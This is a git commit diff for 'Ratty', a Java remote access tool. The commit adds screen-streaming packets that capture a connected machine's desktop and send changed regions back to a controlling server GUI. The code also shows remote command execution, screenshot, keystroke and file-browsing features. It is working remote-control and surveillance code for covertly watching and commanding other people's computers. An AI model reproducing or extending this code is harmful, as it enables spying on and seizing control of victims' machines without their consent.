Major changes

Started to implement desktop streaming

Ratty/src/de/sogomn/rat/Ratty.java

@@ -2,6 +2,7 @@ package de.sogomn.rat;
 
 import java.awt.Color;
 
+import javax.swing.JOptionPane;
 import javax.swing.UIDefaults;
 import javax.swing.UIManager;
 import javax.swing.plaf.nimbus.NimbusLookAndFeel;
@@ -67,13 +68,20 @@ public final class Ratty {
 		setLookAndFeel();
 		
 		if (CLIENT) {
-			System.out.println("Starting client");
-			
 			connectToHost(ADDRESS, PORT);
 		} else {
-			System.out.println("Starting server");
+			final String[] options = {"Server", "Client"};
+			final int input = JOptionPane.showOptionDialog(null, "Server or client?", "Choose", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
 			
-			startServer(PORT);
+			if (input == JOptionPane.YES_OPTION) {
+				System.out.println("Starting server");
+				
+				startServer(PORT);
+			} else if (input == JOptionPane.NO_OPTION) {
+				System.out.println("Starting client");
+				
+				connectToHost(ADDRESS, PORT);
+			}
 		}
 	}
 	

Ratty/src/de/sogomn/rat/packet/CommandPacket.java

@@ -11,8 +11,6 @@ public final class CommandPacket extends AbstractPingPongPacket {
 	private String command;
 	private String output;
 	
-	private static final String ERROR = "Command could not be executed.";
-	
 	public CommandPacket(final String command) {
 		this.command = command;
 		
@@ -59,7 +57,7 @@ public final class CommandPacket extends AbstractPingPongPacket {
 			
 			output = new String(buffer);
 		} catch (final IOException | InterruptedException ex) {
-			output = ERROR;
+			output = ex.toString();
 		}
 		
 		type = DATA;

Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java

@@ -0,0 +1,110 @@
+package de.sogomn.rat.packet;
+
+import java.awt.image.BufferedImage;
+
+import de.sogomn.engine.util.ImageUtils;
+import de.sogomn.rat.ActiveClient;
+import de.sogomn.rat.util.FrameEncoder;
+import de.sogomn.rat.util.FrameEncoder.IFrame;
+
+public final class DesktopStreamPacket extends AbstractPingPongPacket {
+	
+	private IFrame frame;
+	private int screenWidth, screenHeight;
+	
+	private byte deleteLastScreenshot;
+	
+	private static BufferedImage lastScreenshot;
+	
+	private static final byte KEEP = 0;
+	private static final byte DELETE = 1;
+	
+	public DesktopStreamPacket(final boolean delete) {
+		type = REQUEST;
+		deleteLastScreenshot = delete ? DELETE : KEEP;
+	}
+	
+	public DesktopStreamPacket() {
+		this(false);
+	}
+	
+	@Override
+	protected void sendRequest(final ActiveClient client) {
+		client.writeByte(deleteLastScreenshot);
+	}
+	
+	@Override
+	protected void sendData(final ActiveClient client) {
+		final byte[] data = ImageUtils.toByteArray(frame.image, "JPG");
+		
+		client.writeInt(frame.x);
+		client.writeInt(frame.y);
+		client.writeInt(data.length);
+		client.write(data);
+		client.writeInt(screenWidth);
+		client.writeInt(screenHeight);
+	}
+	
+	@Override
+	protected void receiveRequest(final ActiveClient client) {
+		deleteLastScreenshot = client.readByte();
+	}
+	
+	@Override
+	protected void receiveData(final ActiveClient client) {
+		final int x = client.readInt();
+		final int y = client.readInt();
+		final int length = client.readInt();
+		final byte[] data = new byte[length];
+		
+		client.read(data);
+		
+		final BufferedImage image = ImageUtils.toImage(data);
+		
+		frame = new IFrame(x, y, image);
+		screenWidth = client.readInt();
+		screenHeight = client.readInt();
+	}
+	
+	@Override
+	protected void executeRequest(final ActiveClient client) {
+		final BufferedImage screenshot = ScreenshotPacket.takeScreenshot();
+		
+		if (deleteLastScreenshot == DELETE || lastScreenshot == null) {
+			frame = new IFrame(0, 0, screenshot);
+		} else if (deleteLastScreenshot == KEEP) {
+			frame = FrameEncoder.getIFrame(lastScreenshot, screenshot);
+			
+			if (frame == null) {
+				frame = IFrame.EMPTY;
+			}
+		} else {
+			frame = IFrame.EMPTY;
+		}
+		
+		type = DATA;
+		screenWidth = screenshot.getWidth();
+		screenHeight = screenshot.getHeight();
+		lastScreenshot = screenshot;
+		
+		client.addPacket(this);
+	}
+	
+	@Override
+	protected void executeData(final ActiveClient client) {
+		//...
+	}
+	
+	public IFrame getFrame() {
+		return frame;
+	}
+	
+	public int getScreenWidth() {
+		return screenWidth;
+	}
+	
+	public int getScreenHeight() {
+		return screenHeight;
+	}
+	
+}

Ratty/src/de/sogomn/rat/packet/PacketType.java

@@ -8,7 +8,8 @@ public enum PacketType {
 	KEY_EVENT(3, KeyEventPacket.class),
 	FREE(4, FreePacket.class),
 	INFORMATION(5, InformationPacket.class),
-	COMMAND(6, CommandPacket.class);
+	COMMAND(6, CommandPacket.class),
+	DESKTOP(7, DesktopStreamPacket.class);
 	
 	public final byte id;
 	public final Class<? extends IPacket> clazz;

Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@@ -6,14 +6,10 @@ import java.awt.Rectangle;
 import java.awt.Robot;
 import java.awt.Toolkit;
 import java.awt.image.BufferedImage;
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-
-import javax.imageio.ImageIO;
 
 import de.sogomn.engine.Screen;
 import de.sogomn.engine.Screen.ResizeBehavior;
+import de.sogomn.engine.util.ImageUtils;
 import de.sogomn.rat.ActiveClient;
 
 public final class ScreenshotPacket extends AbstractPingPongPacket {
@@ -43,15 +39,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
 	
 	@Override
 	protected void sendData(final ActiveClient client) {
-		final ByteArrayOutputStream out = new ByteArrayOutputStream();
-		
-		try {
-			ImageIO.write(image, "PNG", out);
-		} catch (final IOException ex) {
-			ex.printStackTrace();
-		}
-		
-		final byte[] data = out.toByteArray();
+		final byte[] data = ImageUtils.toByteArray(image, "PNG");
 		
 		client.writeInt(data.length);
 		client.write(data);
@@ -69,14 +57,10 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
 		
 		client.read(data);
 		
-		final ByteArrayInputStream in = new ByteArrayInputStream(data);
+		image = ImageUtils.toImage(data);
 		
-		try {
-			image = ImageIO.read(in);
-		} catch (final IOException ex) {
+		if (image == null) {
 			image = NO_IMAGE;
-			
-			ex.printStackTrace();
 		}
 	}
 	

Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@@ -18,8 +18,10 @@ import javax.swing.JTable;
 import javax.swing.table.DefaultTableModel;
 
 import de.sogomn.engine.Screen;
+import de.sogomn.engine.Screen.ResizeBehavior;
 import de.sogomn.engine.fx.SpriteSheet;
 import de.sogomn.engine.util.ImageUtils;
+import de.sogomn.rat.util.FrameEncoder.IFrame;
 
 public final class RattyGui {
 	
@@ -51,9 +53,9 @@ public final class RattyGui {
 	public static final String POPUP = "Open popup";
 	public static final String SCREENSHOT = "Take screenshot";
 	public static final String DESKTOP = "View desktop";
+	public static final String DESKTOP_STOP = "Stop desktop stream";
 	public static final String FILES = "Browse files";
 	public static final String COMMAND = "Execute command";
-	public static final String SHUTDOWN = "Shutdown device";
 	public static final String FREE = "Free client";
 	public static final String[] ACTION_COMMANDS = {
 		POPUP,
@@ -61,7 +63,6 @@ public final class RattyGui {
 		DESKTOP,
 		FILES,
 		COMMAND,
-		SHUTDOWN,
 		FREE
 	};
 	
@@ -121,8 +122,36 @@ public final class RattyGui {
 		controller.userInput(command);
 	}
 	
-	private void drawImage(final Graphics2D g) {
-		g.drawImage(image, 0, 0, null);
+	private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
+		final Graphics2D g = image.createGraphics();
+		
+		ImageUtils.applyHighGraphics(g);
+		
+		g.drawImage(imagePart, x, y, null);
+		g.dispose();
+	}
+	
+	private void drawToScreenImage(final IFrame frame) {
+		drawToScreenImage(frame.image, frame.x, frame.y);
+	}
+	
+	private void openScreen(final int width, final int height) {
+		if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) {
+			if (screen != null) {
+				screen.close();
+			}
+			
+			screen = new Screen(width, height);
+			
+			screen.addListener(g -> {
+				g.drawImage(image, 0, 0, null);
+			});
+			screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
+			screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
+		}
+		
+		screen.show();
+		screen.redraw();
 	}
 	
 	public void addRow(final long id, final String name, final String address, final String os, final String version) {
@@ -151,14 +180,16 @@ public final class RattyGui {
 		final int width = image.getWidth();
 		final int height = image.getHeight();
 		
-		if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height) {
-			screen = new Screen(width, height);
-			screen.addListener(this::drawImage);
-			screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
+		openScreen(width, height);
+	}
+	
+	public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) {
+		if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
+			image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
 		}
 		
-		screen.show();
-		screen.redraw();
+		drawToScreenImage(frame);
+		openScreen(screenWidth, screenHeight);
 	}
 	
 	public void setController(final IGuiController controller) {

Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@@ -6,6 +6,7 @@ import java.util.ArrayList;
 import de.sogomn.rat.ActiveClient;
 import de.sogomn.rat.IClientObserver;
 import de.sogomn.rat.packet.CommandPacket;
+import de.sogomn.rat.packet.DesktopStreamPacket;
 import de.sogomn.rat.packet.FreePacket;
 import de.sogomn.rat.packet.IPacket;
 import de.sogomn.rat.packet.InformationPacket;
@@ -13,9 +14,12 @@ import de.sogomn.rat.packet.PopupPacket;
 import de.sogomn.rat.packet.ScreenshotPacket;
 import de.sogomn.rat.server.ActiveServer;
 import de.sogomn.rat.server.IServerObserver;
+import de.sogomn.rat.util.FrameEncoder.IFrame;
 
 public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
 	
+	private boolean streamingDesktop;
+	
 	private RattyGui gui;
 	
 	private ArrayList<ServerClient> clients;
@@ -49,14 +53,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 		return null;
 	}
 	
-	private IPacket getPacket(final String actionCommand) {
-		if (actionCommand == RattyGui.POPUP) {
+	private IPacket getPacket(final String command) {
+		if (command == RattyGui.POPUP) {
 			return PopupPacket.create();
-		} else if (actionCommand == RattyGui.FREE) {
+		} else if (command == RattyGui.FREE) {
 			return new FreePacket();
-		} else if (actionCommand == RattyGui.SCREENSHOT) {
+		} else if (command == RattyGui.SCREENSHOT) {
 			return new ScreenshotPacket();
-		} else if (actionCommand == RattyGui.COMMAND) {
+		} else if (command == RattyGui.COMMAND) {
 			return CommandPacket.create();
 		}
 		
@@ -79,6 +83,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 			final BufferedImage image = screenshot.getImage();
 			
 			gui.showImage(image);
+		} else if (packet instanceof DesktopStreamPacket) {
+			final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
+			final IFrame frame = stream.getFrame();
+			final int screenWidth = stream.getScreenWidth();
+			final int screenHeight = stream.getScreenHeight();
+			
+			if (streamingDesktop) {
+				final DesktopStreamPacket request = new DesktopStreamPacket();
+				
+				gui.showFrame(frame, screenWidth, screenHeight);
+				
+				client.addPacket(request);
+			}
 		} else {
 			packet.execute(client);
 		}
@@ -100,13 +117,21 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 	}
 	
 	@Override
-	public void userInput(final String actionCommand) {
+	public void userInput(final String command) {
 		final long lastIdClicked = gui.getLastIdClicked();
 		final ActiveClient client = getClient(lastIdClicked).client;
-		final IPacket packet = getPacket(actionCommand);
+		final IPacket packet = getPacket(command);
 		
 		if (packet != null) {
 			client.addPacket(packet);
+		} else if (command == RattyGui.DESKTOP) {
+			final DesktopStreamPacket stream = new DesktopStreamPacket(false);
+			
+			streamingDesktop = true;
+			
+			client.addPacket(stream);
+		} else if (command == RattyGui.DESKTOP_STOP) {
+			streamingDesktop = false;
 		}
 	}
 	

Ratty/src/de/sogomn/rat/util/FrameEncoder.java

@@ -4,48 +4,29 @@ import java.awt.image.BufferedImage;
 
 public final class FrameEncoder {
 	
-	private static final int PIXEL_SKIPPING = 2;
-	private static final int TOLERANCE = 3;
-	
 	private FrameEncoder() {
 		//...
 	}
 	
-	private static int getColorDifference(final int rgbOne, final int rgbTwo) {
-		final int redOne = (rgbOne >> 16) & 0xff;
-		final int greenOne = (rgbOne >> 8) & 0xff;
-		final int blueOne = rgbOne & 0xff;
-		final int redTwo = (rgbTwo >> 16) & 0xff;
-		final int greenTwo = (rgbTwo >> 8) & 0xff;
-		final int blueTwo = rgbTwo & 0xff;
-		final int redDifference = Math.abs(redTwo - redOne);
-		final int greenDifference = Math.abs(greenTwo - greenOne);
-		final int blueDifference = Math.abs(blueTwo - blueOne);
-		final int difference = (redDifference + greenDifference + blueDifference) / 3;
-		
-		return difference;
-	}
-	
 	public static IFrame getIFrame(final BufferedImage previous, final BufferedImage next) {
 		final int width = previous.getWidth();
 		final int height = previous.getHeight();
 		
 		if (next.getWidth() != width || next.getHeight() != height) {
-			return null;
+			return IFrame.EMPTY;
 		}
 		
-		int frameX = width;
-		int frameY = height;
+		int frameX = Integer.MAX_VALUE;
+		int frameY = Integer.MAX_VALUE;
 		int frameWidth = 0;
 		int frameHeight = 0;
 		
-		for (int x = 0; x < width; x += PIXEL_SKIPPING) {
-			for (int y = 0; y < height; y += PIXEL_SKIPPING) {
+		for (int x = 0; x < width; x++) {
+			for (int y = 0; y < height; y++) {
 				final int previousRgb = previous.getRGB(x, y);
 				final int nextRgb = next.getRGB(x, y);
-				final int difference = getColorDifference(previousRgb, nextRgb);
 				
-				if (difference <= TOLERANCE) {
+				if (previousRgb == nextRgb) {
 					continue;
 				}
 				
@@ -59,6 +40,10 @@ public final class FrameEncoder {
 		frameWidth -= frameX;
 		frameHeight -= frameY;
 		
+		if (frameX >= width || frameY >= height || frameWidth <= 0 || frameHeight <= 0) {
+			return IFrame.EMPTY;
+		}
+		
 		final BufferedImage image = next.getSubimage(frameX, frameY, frameWidth, frameHeight);
 		final IFrame frame = new IFrame(frameX, frameY, image);
 		
@@ -70,7 +55,9 @@ public final class FrameEncoder {
 		public final int x, y;
 		public final BufferedImage image;
 		
-		IFrame(final int x, final int y, final BufferedImage image) {
+		public static final IFrame EMPTY = new IFrame(0, 0, new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB));
+		
+		public IFrame(final int x, final int y, final BufferedImage image) {
 			this.x = x;
 			this.y = y;
 			this.image = image;